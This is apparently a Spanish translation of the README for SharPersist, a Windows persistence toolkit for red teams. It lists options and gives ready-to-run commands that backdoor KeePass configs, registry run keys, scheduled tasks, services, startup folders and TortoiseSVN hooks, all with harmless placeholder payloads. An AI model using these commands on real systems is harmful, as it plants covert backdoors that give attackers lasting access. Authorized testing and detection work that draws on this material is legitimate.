SharPersist

Kit de herramientas de persistencia para Windows escrito en C#. Para obtener información detallada sobre el uso de cada técnica, consulta la Wiki.

Autor - Brett Hawkins (@h4wkst3r)

Lanzamiento

• La versión pública 1.0.1 de SharPersist se puede encontrar en la sección de Lanzamientos

Instalación/Compilación

Precompilado

• Usa el binario precompilado en la sección de Lanzamientos

Compilarlo tú mismo

Sigue los pasos a continuación para configurar Visual Studio y compilar el proyecto tú mismo. Esto requiere un par de librerías .NET que se pueden instalar desde el administrador de paquetes NuGet.

Librerías utilizadas

En este proyecto se utilizan las siguientes librerías de terceros.

Pasos para compilar

• Abre el proyecto de Visual Studio y ve a "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
• Ve a "NuGet Package Manager" --> "Package Sources"
• Añade un origen de paquetes con la URL "https://api.nuget.org/v3/index.json"
• Instala el paquete NuGet Costura.Fody. Se necesita la versión anterior de Costura.Fody (3.3.3), para no necesitar Visual Studio 2019.
  • Install-Package Costura.Fody -Version 3.3.3
• Instala el paquete TaskScheduler
  • Install-Package TaskScheduler -Version 2.8.11
• ¡Ya puedes compilar el proyecto tú mismo!

Argumentos/Opciones

• -t - técnica de persistencia
• -c - comando a ejecutar
• -a - argumentos para el comando a ejecutar (si aplica)
• -f - el archivo a crear/modificar
• -k - clave de registro a crear/modificar
• -v - valor de registro a crear/modificar
• -n - nombre de la tarea programada o nombre del servicio
• -m - método (add, remove, check, list)
• -o - complementos opcionales
• -h - página de ayuda

Técnicas de persistencia (-t)

• keepass - backdoor en el archivo de configuración de KeePass
• reg - agregar/modificar claves de registro
• schtaskbackdoor - backdoor en tarea programada añadiendo una acción adicional a la misma
• startupfolder - archivo .lnk en la carpeta de inicio
• tortoisesvn - script de hook de Tortoise SVN
• service - crear un nuevo servicio de Windows
• schtask - crear una nueva tarea programada

Métodos (-m)

• add - añadir técnica de persistencia
• remove - eliminar técnica de persistencia
• check - realizar una prueba en seco (dry-run) de la técnica de persistencia
• list - listar las entradas actuales de la técnica de persistencia

Complementos opcionales (-o)

• env - complemento opcional para ofuscar variables de entorno en el registro
• hourly - complemento opcional para la frecuencia de schtask
• daily - complemento opcional para la frecuencia de schtask
• logon - complemento opcional para la frecuencia de schtask

Claves de registro (-k)

• hklmrun
• hklmrunonce
• hklmrunonceex
• hkcurun
• hkcurunonce
• logonscript
• stickynotes
• userinit

Ejemplos

Añadir disparadores de persistencia (Add)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add

Registro

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add

Backdoor en tarea programada

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

Carpeta de inicio

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add

Servicio de Windows

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add

Tarea programada

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly

Eliminar disparadores de persistencia (Remove)

KeePass

SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove

Registro

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env

SharPersist -t reg -k "logonscript" -m remove

Backdoor en tarea programada

SharPersist -t schtaskbackdoor -n "Something Cool" -m remove

Carpeta de inicio

SharPersist -t startupfolder -f "Some File" -m remove

Tortoise SVN

SharPersist -t tortoisesvn -m remove

Servicio de Windows

SharPersist -t service -n "Some Service" -m remove

Tarea programada

SharPersist -t schtask -n "Some Task" -m remove

Realizar una prueba en seco del disparador de persistencia (Check)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check

Registro

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check

Backdoor en tarea programada

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check

Carpeta de inicio

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check

Servicio de Windows

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check

Tarea programada

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly

Listar entradas de disparadores de persistencia (List)

Registro

SharPersist -t reg -k "hkcurun" -m list

Backdoor en tarea programada

SharPersist -t schtaskbackdoor -m list

SharPersist -t schtaskbackdoor -m list -n "Some Task"

SharPersist -t schtaskbackdoor -m list -o logon

Carpeta de inicio

SharPersist -t startupfolder -m list

Servicio de Windows

SharPersist -t service -m list

SharPersist -t service -m list -n "Some Service"

Tarea programada

SharPersist -t schtask -m list

SharPersist -t schtask -m list -n "Some Task"

SharPersist -t schtask -m list -o logon